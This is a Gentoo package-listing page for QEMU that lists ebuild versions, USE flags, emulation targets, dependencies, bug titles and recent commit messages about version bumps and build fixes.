app-emulation / qemu

QEMU + Kernel-based Virtual Machine userland tools

Official package sites : https://www.linux-kvm.org · https://www.qemu.org ·

v9999 :: 0 :: gentoo

Modified
License
GPL-2 LGPL-2 BSD-2
USE flags
accessibility aio alsa bpf bzip2 capstone curl debug doc fdt filecaps fuse glusterfs gnutls gtk infiniband io-uring iscsi jack jemalloc jpeg keyutils lzo multipath ncurses nfs nls numa opengl oss pam pin-upstream-blobs pipewire plugins png pulseaudio python rbd sasl sdl sdl-image seccomp selinux slirp smartcard snappy spice ssh static-user systemtap test udev usb usbredir vde vhost-net virgl virtfs vnc vte xattr xdp xen zstd

v9.1.2 :: 0 :: gentoo

Modified
License
GPL-2 LGPL-2 BSD-2
Keywords
~amd64 ~arm ~arm64 ~loong ~ppc ~ppc64 ~riscv ~x86
USE flags
accessibility aio alsa bpf bzip2 capstone curl debug doc fdt filecaps fuse glusterfs gnutls gtk infiniband io-uring iscsi jack jemalloc jpeg keyutils lzo multipath ncurses nfs nls numa opengl oss pam pin-upstream-blobs pipewire plugins png pulseaudio python rbd sasl sdl sdl-image seccomp selinux slirp smartcard snappy spice ssh static-user systemtap test udev usb usbredir vde vhost-net virgl virtfs vnc vte xattr xdp xen zstd

v9.0.4 :: 0 :: gentoo

Modified
License
GPL-2 LGPL-2 BSD-2
Keywords
~amd64 ~arm ~arm64 ~loong ~ppc ~ppc64 ~riscv ~x86
USE flags
accessibility aio alsa bpf bzip2 capstone curl debug doc fdt filecaps fuse glusterfs gnutls gtk infiniband io-uring iscsi jack jemalloc jpeg keyutils lzo multipath ncurses nfs nls numa opengl oss pam pin-upstream-blobs pipewire plugins png pulseaudio python rbd sasl sdl sdl-image seccomp selinux slirp smartcard snappy spice ssh static-user systemtap test udev usb usbredir vde vhost-net virgl virtfs vnc vte xattr xdp xen zstd

v8.2.8 :: 0 :: gentoo

Modified
License
GPL-2 LGPL-2 BSD-2
Keywords
~amd64 ~arm ~arm64 ~loong ~ppc ~ppc64 ~riscv ~x86
USE flags
accessibility aio alsa bpf bzip2 capstone curl debug doc fdt filecaps fuse glusterfs gnutls gtk infiniband io-uring iscsi jack jemalloc jpeg keyutils lzo multipath ncurses nfs nls numa opengl oss pam pin-upstream-blobs pipewire plugins png pulseaudio python rbd sasl sdl sdl-image seccomp selinux slirp smartcard snappy spice ssh static-user systemtap test udev usb usbredir vde vhost-net virgl virtfs vnc vte xattr xen zstd

v8.2.7 :: 0 :: gentoo

Modified
License
GPL-2 LGPL-2 BSD-2
Keywords
x86 ~amd64 ~arm ~arm64 ~loong ~ppc ~ppc64 ~riscv
USE flags
accessibility aio alsa bpf bzip2 capstone curl debug doc fdt filecaps fuse glusterfs gnutls gtk infiniband io-uring iscsi jack jemalloc jpeg keyutils lzo multipath ncurses nfs nls numa opengl oss pam pin-upstream-blobs pipewire plugins png pulseaudio python rbd sasl sdl sdl-image seccomp selinux slirp smartcard snappy spice ssh static-user systemtap test udev usb usbredir vde vhost-net virgl virtfs vnc vte xattr xen zstd

v8.2.3 :: 0 :: gentoo

Modified
License
GPL-2 LGPL-2 BSD-2
Keywords
amd64 arm64 ppc64 x86 ~arm ~loong ~ppc ~riscv
USE flags
accessibility aio alsa bpf bzip2 capstone curl debug doc fdt filecaps fuse glusterfs gnutls gtk infiniband io-uring iscsi jack jemalloc jpeg keyutils lzo multipath ncurses nfs nls numa opengl oss pam pin-upstream-blobs pipewire plugins png pulseaudio python rbd sasl sdl sdl-image seccomp selinux slirp smartcard snappy spice ssh static-user systemtap test udev usb usbredir vde vhost-net virgl virtfs vnc vte xattr xen zstd

v7.2.15 :: 0 :: gentoo

Modified
License
GPL-2 LGPL-2 BSD-2
Keywords
~amd64 ~arm ~arm64 ~loong ~ppc ~ppc64 ~riscv ~x86
USE flags
accessibility aio alsa bpf bzip2 capstone curl debug doc fdt filecaps fuse glusterfs gnutls gtk infiniband io-uring iscsi jack jemalloc jpeg lzo multipath ncurses nfs nls numa opengl oss pam pin-upstream-blobs plugins png pulseaudio python rbd sasl sdl sdl-image seccomp selinux slirp smartcard snappy spice ssh static static-user systemtap test udev usb usbredir vde vhost-net virgl virtfs vnc vte xattr xen zstd

v7.2.14 :: 0 :: gentoo

Modified
License
GPL-2 LGPL-2 BSD-2
Keywords
amd64 arm64 ppc64 x86 ~arm ~loong ~ppc ~riscv
USE flags
accessibility aio alsa bpf bzip2 capstone curl debug doc fdt filecaps fuse glusterfs gnutls gtk infiniband io-uring iscsi jack jemalloc jpeg lzo multipath ncurses nfs nls numa opengl oss pam pin-upstream-blobs plugins png pulseaudio python rbd sasl sdl sdl-image seccomp selinux slirp smartcard snappy spice ssh static static-user systemtap test udev usb usbredir vde vhost-net virgl virtfs vnc vte xattr xen zstd

General

accessibility
Adds support for braille displays using brltty
aio
Enables support for Linux's Async IO
alsa
Enable alsa output for sound emulation
bpf
Enable eBPF support for RSS implementation.
bzip2
Enable bzip2 compression support
capstone
Enable disassembly support with dev-libs/capstone
curl
Support ISOs / -cdrom directives via HTTP or HTTPS.
debug
Enable extra debug codepaths, like asserts and extra output. If you want to get meaningful backtraces see https://wiki.gentoo.org/wiki/Project:Quality_Assurance/Backtraces
doc
Add extra documentation (API, Javadoc, etc). It is recommended to enable per package instead of globally
doc
Add extra documentation (API, Javadoc, etc). It is recommended to enable per package instead of globally
fdt
Enables firmware device tree support
filecaps
Use Linux file capabilities to control privilege rather than set*id (this is orthogonal to USE=caps which uses capabilities at runtime e.g. libcap)
fuse
Enables FUSE block device export
glusterfs
Enables GlusterFS cluster fileystem via sys-cluster/glusterfs
gnutls
Enable TLS support for the VNC console server. For 1.4 and newer this also enables WebSocket support. For 2.0 through 2.3 also enables disk quorum support.
gtk
Add support for x11-libs/gtk+ (The GIMP Toolkit)
infiniband
Enable Infiniband RDMA transport support
io-uring
Enable efficient I/O via sys-libs/liburing.
iscsi
Enable direct iSCSI support via net-libs/libiscsi instead of indirectly via the Linux block layer that sys-block/open-iscsi does.
jack
Add support for the JACK Audio Connection Kit
jemalloc
Use dev-libs/jemalloc for memory management
jpeg
Enable jpeg image support for the VNC console server
keyutils
Support Linux keyrings via sys-apps/keyutils
lzo
Enable support for lzo compression
multipath
Enable multipath persistent reservation passthrough via sys-fs/multipath-tools.
ncurses
Enable the ncurses-based console
nfs
Enable NFS support
nls
Add Native Language Support (using gettext - GNU locale utilities)
numa
Enable NUMA support
opengl
Add support for OpenGL (3D graphics)
oss
Add support for OSS (Open Sound System)
pam
Add support for PAM (Pluggable Authentication Modules) - DANGEROUS to arbitrarily flip
pin-upstream-blobs
Pin the versions of BIOS firmware to the version included in the upstream release. This is needed to sanely support migration/suspend/resume/snapshotting/etc... of instances. When the blobs are different, random corruption/bugs/crashes/etc... may be observed.
pipewire
Enable pipewire output for sound emulation
plugins
Enable qemu plugin API via shared library loading.
png
Enable png image support for the VNC console server
pulseaudio
Enable pulseaudio output for sound emulation
python
Add optional support/bindings for the Python language
rbd
Enable rados block device backend support, see https://docs.ceph.com/en/mimic/rbd/qemu-rbd/
sasl
Add support for the Simple Authentication and Security Layer
sdl
Enable the SDL-based console
sdl-image
SDL Image support for icons
seccomp
Enable seccomp (secure computing mode) to perform system call filtering at runtime to increase security of programs
selinux
!!internal use only!! Security Enhanced Linux support, this must be set by the selinux profile or breakage will occur
slirp
Enable TCP/IP in hypervisor via net-libs/libslirp
smartcard
Enable smartcard support
snappy
Enable support for Snappy compression (as implemented in app-arch/snappy)
spice
Enable Spice protocol support via app-emulation/spice
ssh
Enable SSH based block device support via net-libs/libssh2
static
Build the User and Software MMU (system) targets as well as tools as static binaries
static-user
Build the User targets as static binaries
systemtap
Enable SystemTap/DTrace tracing
test
Enable dependencies and/or preparations necessary to run tests (usually controlled by FEATURES=test but can be toggled independently)
udev
Enable virtual/udev integration (device discovery, power and storage device support, etc)
usb
Enable USB passthrough via dev-libs/libusb
usbredir
Use sys-apps/usbredir to redirect USB devices to another machine over TCP
vde
Enable VDE-based networking
vhost-net
Enable accelerated networking using vhost-net, see https://www.linux-kvm.org/page/VhostNet
virgl
Enable experimental Virgil 3d (virtual software GPU)
virtfs
Enable VirtFS via virtio-9p-pci / fsdev. See https://wiki.qemu.org/Documentation/9psetup
vnc
Enable VNC (remote desktop viewer) support
vte
Enable terminal support (x11-libs/vte) in the GTK+ interface
xattr
Add support for getting and setting POSIX extended attributes, through sys-apps/attr. Requisite for the virtfs backend.
xdp
Enable support for XDP through net-libs/xdp-tools
xen
Enables support for Xen backends
zstd
Enable support for ZSTD compression

python_targets

python3_10
Build with Python 3.10
python3_11
Build with Python 3.11
python3_12
Build with Python 3.12
python3_13
Build with Python 3.13

qemu_softmmu_targets

aarch64
ARM64 system emulation target
alpha
system emulation target
arm
system emulation target
avr
system emulation target
cris
system emulation target
hppa
system emulation target
i386
system emulation target
loongarch64
system emulation target
m68k
system emulation target
microblaze
system emulation target
microblazeel
system emulation target
mips
system emulation target
mips64
system emulation target
mips64el
system emulation target
mipsel
system emulation target
nios2
system emulation target
or1k
OpenRISC system emulation target
ppc
system emulation target
ppc64
system emulation target
riscv32
system emulation target
riscv64
system emulation target
rx
Renesas RX system emulation target
s390x
system emulation target
sh4
system emulation target
sh4eb
system emulation target
sparc
system emulation target
sparc64
system emulation target
tricore
system emulation target
x86_64
system emulation target
xtensa
system emulation target
xtensaeb
system emulation target

qemu_user_targets

aarch64
ARM64 userspace emulation target
aarch64_be
ARM64 big endian userspace emulation target
alpha
userspace emulation target
arm
ARM (little endian) userspace emulation target
armeb
ARM (big endian) userspace emulation target
cris
userspace emulation target
hexagon
Qualcomm hexagon userspace emulation target
hppa
userspace emulation target
i386
userspace emulation target
loongarch64
userspace emulation target
m68k
userspace emulation target
microblaze
userspace emulation target
microblazeel
userspace emulation target
mips
userspace emulation target
mips64
userspace emulation target
mips64el
userspace emulation target
mipsel
userspace emulation target
mipsn32
MIPS N32 ABI userspace emulation target
mipsn32el
MIPS N32 ABI LE userspace emulation target
nios2
userspace emulation target
or1k
OpenRISC system emulation target
ppc
PowerPC 32-bit big endian userspace emulation target
ppc64
PowerPC 64-bit big endian userspace emulation target
ppc64le
PowerPC 64-bit little endian userspace emulation target
riscv32
userspace emulation target
riscv64
userspace emulation target
s390x
userspace emulation target
sh4
userspace emulation target
sh4eb
userspace emulation target
sparc
userspace emulation target
sparc32plus
userspace emulation target
sparc64
userspace emulation target
x86_64
userspace emulation target
xtensa
userspace emulation target
xtensaeb
userspace emulation target

app-accessibility / brltty : Daemon that provides access to the Linux/Unix console for a blind person

app-arch / bzip2 : A high-quality data compressor used extensively by Gentoo Linux

app-arch / snappy : A high-speed compression/decompression library by Google

app-arch / zstd : zstd fast compression library

app-emulation / libcacard : Virtual Common Access Card (CAC) library emulator

app-emulation / spice : SPICE server

app-emulation / spice-protocol : Headers defining the SPICE protocol

app-emulation / xen-tools : Xen tools including QEMU and xl

dev-debug / systemtap : Linux trace/probe tool

dev-lang / python : Freethreading (no-GIL) version of Python programming language

dev-libs / capstone : disassembly/disassembler framework + bindings

dev-libs / cyrus-sasl : The Cyrus SASL (Simple Authentication and Security Layer)

dev-libs / glib : The GLib library of C routines

dev-libs / jemalloc : Jemalloc is a general-purpose scalable concurrent allocator

dev-libs / libaio : Asynchronous input/output library that uses the kernels native interface

dev-libs / libbpf : Stand-alone build of libbpf from the Linux kernel

dev-libs / lzo : An extremely fast compression and decompression library

dev-libs / nettle : Low-level cryptographic library

media-libs / alsa-lib : Advanced Linux Sound Architecture Library

media-libs / libepoxy : Library for handling OpenGL function pointer management

media-libs / libjpeg-turbo : MMX, SSE, and SSE2 SIMD accelerated JPEG library

media-libs / libpng : Portable Network Graphics library

media-libs / libpulse : Libraries for PulseAudio clients

media-libs / libsdl2 : Simple Direct Media Layer

media-libs / mesa : OpenGL-like graphic library for Linux

media-libs / sdl2-image : Image file loading library

media-libs / virglrenderer : library used implement a virtual 3D GPU used by qemu

media-video / pipewire : Multimedia processing graphs

net-fs / libnfs : Client library for accessing NFS shares over a network

net-libs / gnutls : A secure communications library implementing the SSL, TLS and DTLS protocols

net-libs / libiscsi : iscsi client library and utilities

net-libs / libslirp : A TCP-IP emulator used to provide virtual networking services

net-libs / libssh : Access a working SSH implementation by means of a library

net-libs / xdp-tools : The libxdp library and various tools for use with XDP

net-misc / curl : A Client that groks URLs

net-misc / vde : Virtual distributed ethernet emulator for emulators like qemu, bochs, and uml

sys-apps / attr : Extended attributes tools

sys-apps / dtc : Open Firmware device tree compiler

sys-apps / keyutils : Linux Key Management Utilities

sys-apps / usbredir : TCP daemon and set of libraries for usbredir protocol (redirecting USB traffic)

sys-cluster / ceph : Ceph distributed filesystem

sys-cluster / glusterfs : GlusterFS is a powerful network/cluster filesystem

sys-cluster / rdma-core : Userspace components for the Linux Kernel's drivers/infiniband subsystem

sys-firmware / edk2 : TianoCore EDK II UEFI firmware for virtual machines

sys-firmware / edk2-bin : TianoCore EDK II UEFI firmware for virtual machines

sys-firmware / ipxe : Open source network boot (PXE) firmware

sys-firmware / seabios : Open Source implementation of a 16-bit x86 BIOS

sys-firmware / seabios-bin : Open Source implementation of a 16-bit x86 BIOS

sys-firmware / sgabios : serial graphics adapter bios option rom for x86

sys-fs / fuse : An interface for filesystems implemented in userspace

sys-fs / multipath-tools : Device mapper target autoconfig

sys-kernel / linux-headers : Linux system headers

sys-libs / libcap : POSIX 1003.1e capabilities

sys-libs / libcap-ng : POSIX 1003.1e capabilities

sys-libs / libseccomp : High level interface to Linux seccomp filter

sys-libs / liburing : Efficient I/O with io_uring

sys-libs / ncurses : Console display library

sys-libs / pam : Linux-PAM (Pluggable Authentication Modules)

sys-libs / zlib : Standard (de)compression library

sys-process / numactl : Utilities and libraries for NUMA systems

virtual / jack : Virtual for JACK Audio Connection Kit

virtual / libudev : Virtual for libudev providers

virtual / libusb : Virtual for libusb

virtual / opengl : Virtual for OpenGL implementation

x11-libs / cairo : A vector graphics library with cross-device output support

x11-libs / gdk-pixbuf : Image loading library for GTK+

x11-libs / gtk+ : Gimp ToolKit +

x11-libs / libX11 : X.Org X11 library

x11-libs / pixman : Low-level pixel manipulation routines

x11-libs / vte : Library providing a virtual terminal emulator widget

acct-group / kvm : System group: kvm

app-accessibility / brltty : Daemon that provides access to the Linux/Unix console for a blind person

app-arch / bzip2 : A high-quality data compressor used extensively by Gentoo Linux

app-arch / snappy : A high-speed compression/decompression library by Google

app-arch / zstd : zstd fast compression library

app-emulation / libcacard : Virtual Common Access Card (CAC) library emulator

app-emulation / spice : SPICE server

app-emulation / spice-protocol : Headers defining the SPICE protocol

app-emulation / xen-tools : Xen tools including QEMU and xl

dev-debug / systemtap : Linux trace/probe tool

dev-lang / python : Freethreading (no-GIL) version of Python programming language

dev-libs / capstone : disassembly/disassembler framework + bindings

dev-libs / cyrus-sasl : The Cyrus SASL (Simple Authentication and Security Layer)

dev-libs / glib : The GLib library of C routines

dev-libs / jemalloc : Jemalloc is a general-purpose scalable concurrent allocator

dev-libs / libaio : Asynchronous input/output library that uses the kernels native interface

dev-libs / libbpf : Stand-alone build of libbpf from the Linux kernel

dev-libs / lzo : An extremely fast compression and decompression library

dev-libs / nettle : Low-level cryptographic library

media-libs / alsa-lib : Advanced Linux Sound Architecture Library

media-libs / libepoxy : Library for handling OpenGL function pointer management

media-libs / libjpeg-turbo : MMX, SSE, and SSE2 SIMD accelerated JPEG library

media-libs / libpng : Portable Network Graphics library

media-libs / libpulse : Libraries for PulseAudio clients

media-libs / libsdl2 : Simple Direct Media Layer

media-libs / mesa : OpenGL-like graphic library for Linux

media-libs / sdl2-image : Image file loading library

media-libs / virglrenderer : library used implement a virtual 3D GPU used by qemu

media-video / pipewire : Multimedia processing graphs

net-fs / libnfs : Client library for accessing NFS shares over a network

net-libs / gnutls : A secure communications library implementing the SSL, TLS and DTLS protocols

net-libs / libiscsi : iscsi client library and utilities

net-libs / libslirp : A TCP-IP emulator used to provide virtual networking services

net-libs / libssh : Access a working SSH implementation by means of a library

net-libs / xdp-tools : The libxdp library and various tools for use with XDP

net-misc / curl : A Client that groks URLs

net-misc / vde : Virtual distributed ethernet emulator for emulators like qemu, bochs, and uml

sec-policy / selinux-qemu : SELinux policy for qemu

sys-apps / attr : Extended attributes tools

sys-apps / dtc : Open Firmware device tree compiler

sys-apps / keyutils : Linux Key Management Utilities

sys-apps / usbredir : TCP daemon and set of libraries for usbredir protocol (redirecting USB traffic)

sys-cluster / ceph : Ceph distributed filesystem

sys-cluster / glusterfs : GlusterFS is a powerful network/cluster filesystem

sys-cluster / rdma-core : Userspace components for the Linux Kernel's drivers/infiniband subsystem

sys-firmware / edk2 : TianoCore EDK II UEFI firmware for virtual machines

sys-firmware / edk2-bin : TianoCore EDK II UEFI firmware for virtual machines

sys-firmware / ipxe : Open source network boot (PXE) firmware

sys-firmware / seabios : Open Source implementation of a 16-bit x86 BIOS

sys-firmware / seabios-bin : Open Source implementation of a 16-bit x86 BIOS

sys-firmware / sgabios : serial graphics adapter bios option rom for x86

sys-fs / fuse : An interface for filesystems implemented in userspace

sys-fs / multipath-tools : Device mapper target autoconfig

sys-libs / libcap : POSIX 1003.1e capabilities

sys-libs / libcap-ng : POSIX 1003.1e capabilities

sys-libs / libseccomp : High level interface to Linux seccomp filter

sys-libs / libselinux : SELinux userland library

sys-libs / liburing : Efficient I/O with io_uring

sys-libs / ncurses : Console display library

sys-libs / pam : Linux-PAM (Pluggable Authentication Modules)

sys-libs / zlib : Standard (de)compression library

sys-process / numactl : Utilities and libraries for NUMA systems

virtual / jack : Virtual for JACK Audio Connection Kit

virtual / libudev : Virtual for libudev providers

virtual / libusb : Virtual for libusb

virtual / opengl : Virtual for OpenGL implementation

x11-libs / cairo : A vector graphics library with cross-device output support

x11-libs / gdk-pixbuf : Image loading library for GTK+

x11-libs / gtk+ : Gimp ToolKit +

x11-libs / libX11 : X.Org X11 library

x11-libs / pixman : Low-level pixel manipulation routines

x11-libs / vte : Library providing a virtual terminal emulator widget

app-admin / mkosi : Build Bespoke OS Images

app-emulation / diskimage-builder : Golden Disk Image builder

app-emulation / genymotion-bin : Complete set of tools that provide a virtual environment for Android

app-emulation / guestfs-tools : Tools for accessing, inspecting, and modifying virtual machine (VM) disk images

app-emulation / libguestfs : Tools for accessing, inspecting, and modifying virtual machine (VM) disk images

app-emulation / libvirt : C toolkit to manipulate virtual machines

app-emulation / nemu : Ncurses interface for QEMU

app-emulation / qemu-init-scripts : Kvm and qemu init scripts

app-emulation / spice : SPICE server

app-emulation / xen-tools : Xen tools including QEMU and xl

dev-util / catalyst : Release metatool used for creating releases based on Gentoo Linux

gnome-extra / gnome-boxes : Simple GNOME application to access remote or virtual systems

net-misc / spice-gtk : Set of GObject and Gtk objects for connecting to Spice servers and a client GUI

x11-misc / grub2-theme-preview : Preview a GRUB 2.x theme using KVM/QEMU

544150
app-emulation/qemu is missing binfmt registration files in /usr/lib/binfmt.d
587230
app-emulation/qemu - sys-apps/install-xattr segfaults in qemu-arm-user
609632
app-emulation/xen-tools: bundles app-emulation/qemu
745396
app-emulation/qemu: NULL pointer derefrence issues (CVE-2020-{25741,25742,25743})
830824
app-emulation/qemu-6.2.0-r2: error: code path is reachable
851504
app-emulation/qemu-7.0.0-r2 - ERROR: User requested feature opengl
860351
app-emulation/qemu: net-libs/webkit-gtk-2.36.4 build fails on riscv64 (fails at end of build, Signals.SIGSEGV: 11)
865121
<app-emulation/qemu-8.0.0: multiple vulnerabilities
877609
app-emulation/qemu: multiple vulnerabilities
893310
app-emulation/qemu-7.2: virtio-blk-pci I/O errors with detect-zeroes=unmap
897804
app-emulation/qemu-7.2.0-r3: ERROR: Cannot find Ninja
905342
app-emulation/qemu: multiple vulnerabilities
909815
app-emulation/qemu: compilation failure with dev-libs/capstone-5.0_rc4
913083
app-emulation/qemu-8.1.0 ../accel/tcg/cputlb.c: In function ‘do_ld_mmio_beN’: unreachable code reached
914256
net-misc/curl: 'checking if getifaddrs seems to work' configure test hangs in app-emulation/qemu's qemu-user ppc32 (cURL getiffaddress() not functioning within qemu user chroot ppc32)
914474
app-emulation/qemu-8.1.0-r1 fails to build on LLD16 with LLVM: undefined symbol: __unordtf2
915809
app-emulation/qemu-8.0.4: ../linux-user/syscall.c:6863:15: error: use of undeclared identifier 'F_GETLK64'
920825
app-emulation/qemu-8.2.0 qemu-system-m68k segfault ALSA lib /var/tmp/portage/media-libs/alsa-lib-1.2.10-r3/work/alsa-lib-1.2.10/src/pcm/pcm_dmix.c:1000:(snd_pcm_dmix_open) unable to open slave
922924
app-emulation/qemu-8.0.5 fails tests: can't add socket to multicast group 230.0.0.1: No such device
923477
app-emulation/qemu-9.1.0 has implicit function declarations in configure logs: vaesmcq_u8
928667
app-emulation/qemu: remove virtual/opengl dependency for USE=opengl
934686
app-emulation/qemu-9.0.1: automagic dependency on media-sound/sndio
935455
app-emulation/qemu: dependency on ipxe-1.2.1 should be change to allow sys-firmware/ipxe-1.21.1_p20230601
936620
app-emulation/qemu-9.0.2 fails to compile with >=dev-python/sphinx-8: Handler <function write_depfile at 0x75d530beb560> for event build-finished threw an exception (exception: unsupported operand type(s) for +: PosixPath and str)
937995
app-emulation/qemu-9.0.2 when run in window with gtk produces errors
939330
app-emulation/qemu: media-sound/sndio dependency
940707
app-emulation/qemu-8.1.5: ModuleNotFoundError: No module named 'packaging'
941121
app-emulation/qemu: ships prebuilt binaries
941496
app-emulation/qemu-8.2.7: stabilisation
942466
app-emulation/qemu-9.1.0 - [gcc-15] FileNotFoundError: [Errno 2] No such file or directory: /usr/lib/python3.12/ensurepip/_bundled/pip-24.2-py3-none-any.whl
942578
app-emulation/qemu-9.1.2 has implicit function declarations in configure logs: elf_aux_info
945465
app-emulation/qemu-7.2.15: stabilisation
Repository mirror & CI · gentoo
Merge updates from master
Michal Privoznik · gentoo
app-emulation/qemu: Update live ebuild
In qemu upstream, sh4eb-softmmu target was removed in [1], but then reverted in [2]. Reflect this change in the live ebuild. This partially reverts 64427d3372c8975a015875526ad546447c64bd48. Then, due to context changes, qemu-9.1.0-capstone-include-path.patch no longer applies cleanly. Rebase the patch. 1: https://gitlab.com/qemu-project/qemu/-/commit/73ceb12960e686b763415f0880cc5171ccce01cf 2: https://gitlab.com/qemu-project/qemu/-/commit/51cdb6806f405062c2bda3f527e98aaf259d6116 Signed-off-by: Michal Privoznik <michal.privoznik@gmail.com> Signed-off-by: Sam James <sam@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu: Pass --python=${PYTHON} to configure
QEMU expects python during compilation (plenty of build scripts are written in python). And up until upstream commit [1] it wasn't much of a problem. But starting from that commit, the configure script creates a venv unconditionally and installs various packages there. At the same time, the configure script is free to chose whatever python version it deems usable (in practice it finds python3 first). Well, it may chose python without ensurepip USE flag. Tell the configure script which python to use explicitly by passing --python=${PYTHON}. 1: https://gitlab.com/qemu-project/qemu/-/commit/81e2b198a8cb4ee5fdf108bd438f44b193ee3a36 Closes: https://bugs.gentoo.org/942518 Signed-off-by: Michal Privoznik <michal.privoznik@gmail.com> Closes: https://github.com/gentoo/gentoo/pull/39562 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: drop 9.0.2-r2
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: drop 8.0.5, 8.1.5
These branches are EOL. Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: drop 8.2.5-r1, 8.2.6-r1
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: drop 9.1.0, 9.1.1
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: drop 9.0.1-r1, 9.0.2-r1, 9.0.3
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: drop 7.2.11, 7.2.12, 7.2.13
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Jakov Smolić · gentoo
app-emulation/qemu: Stabilize 8.2.7 x86, #941496
Signed-off-by: Jakov Smolić <jsmolic@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 9.1.2
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 9.0.4
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 8.2.8
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 7.2.15
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 9.1.1
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Michal Privoznik · gentoo
app-emulation/qemu: Stop applying ${PN}-9.0.0-also-build-virtfs-proxy-helper.patch
Unfortunately, virtfs-proxy-helper has been long deprecated and it's been finally removed in [1]. There's no sense in applying patch that enables it back anymore. 1: https://gitlab.com/qemu-project/qemu/-/commit/ed76671888676792493320db53ed773a108cbd45 Signed-off-by: Michal Privoznik <michal.privoznik@gmail.com> Closes: https://github.com/gentoo/gentoo/pull/39140 Signed-off-by: Sam James <sam@gentoo.org>
Michal Privoznik · gentoo
app-emulation/qemu: Update list of TARGETS in live ebuild
Firstly, in its upstream commit [1], QEMU removed CRIS target as it was deprecated since 9.0. Then, in commit [2] sh4eb-sotfmmu target was removed, leaving us with sh4eb-user target only. Therefore, drop 'cris' from the list of targets completely, and move 'sh4eb' from COMMON_TARGETS to IUSE_USER_TARGETS. 1: https://gitlab.com/qemu-project/qemu/-/commit/01d01edc9fc4623e93118bc8cb8c69a46d707026 2: https://gitlab.com/qemu-project/qemu/-/commit/73ceb12960e686b763415f0880cc5171ccce01cf Signed-off-by: Michal Privoznik <michal.privoznik@gmail.com> Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 7.2.14 amd64, #941495
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 7.2.14 x86, #941495
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Arthur Zamarin · gentoo
app-emulation/qemu: Stabilize 7.2.14 arm64, #941495
Signed-off-by: Arthur Zamarin <arthurzam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: Stabilize 7.2.14 ppc64, #941495
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: enable py3.12 for 7.2.x
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: use PYTHON_REQ_USE for ensurepip
Bug: https://bugs.gentoo.org/913084 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 9.1.0
Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: add 9.0.3
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 8.2.7
Signed-off-by: Sam James <sam@gentoo.org>
Sam James · gentoo
app-emulation/qemu: add 7.2.14
Signed-off-by: Sam James <sam@gentoo.org>
Sasha Finkelstein · gentoo
app-emulation/qemu: Add python3_13 compat
Signed-off-by: Sasha Finkelstein <fnkl.kernel@gmail.com> Signed-off-by: Sam James <sam@gentoo.org>
James Le Cuirot · gentoo
sys-firmware/edk2-ovmf-bin: Rename to edk2-bin to support other platforms
The source package now supports other platforms so follow suit. Signed-off-by: James Le Cuirot <chewi@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
James Le Cuirot · gentoo
sys-firmware/edk2-ovmf: Rename to edk2 to support other platforms
There is a lot of overlap in building firmware for other platforms from source, so it makes sense to have one source package. Signed-off-by: James Le Cuirot <chewi@gentoo.org>
Christopher Fore · gentoo
app-emulation/qemu: Add xdp USE flag to live ebuild
This will add an xdp USE flag to fix situations where users have the bpf USE flag disabled but libxdp is installed thru net-libs/xdp-tools. This results in QEMU automatically detecting this and attempting to build af-xdp and failing. Credit-to: holgerh, parona Bug: https://bugs.gentoo.org/920459 Signed-off-by: Christopher Fore <csfore@posteo.net> Closes: https://github.com/gentoo/gentoo/pull/35197 Signed-off-by: Sam James <sam@gentoo.org>
Christopher Fore · gentoo
app-emulation/qemu: Add xdp USE flag
This will add an xdp USE flag to fix situations where users have the bpf USE flag disabled but libxdp is installed thru net-libs/xdp-tools. This results in QEMU automatically detecting this and attempting to build af-xdp and failing. Credit-to: holgerh, parona Closes: https://bugs.gentoo.org/920459 Signed-off-by: Christopher Fore <csfore@posteo.net> Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
Merge updates from master
Sam James · gentoo
app-emulation/qemu: fix systemtap has_version check
Bug: https://bugs.gentoo.org/938302 Signed-off-by: Sam James <sam@gentoo.org>
NRK · gentoo
app-emulation/qemu: also allow python[ensurepip]
according to upstream comment [0] python[ensurepip] should also work as a fallback if pip is missing. tested and confirmed to build fine with qemu-9.0.2. 0: https://gitlab.com/qemu-project/qemu/-/commit/81e2b198a8c Bug: https://bugs.gentoo.org/913084 Signed-off-by: NRK <nrk@disroot.org> Closes: https://github.com/gentoo/gentoo/pull/38549 Signed-off-by: Sam James <sam@gentoo.org>
Repository mirror & CI · gentoo
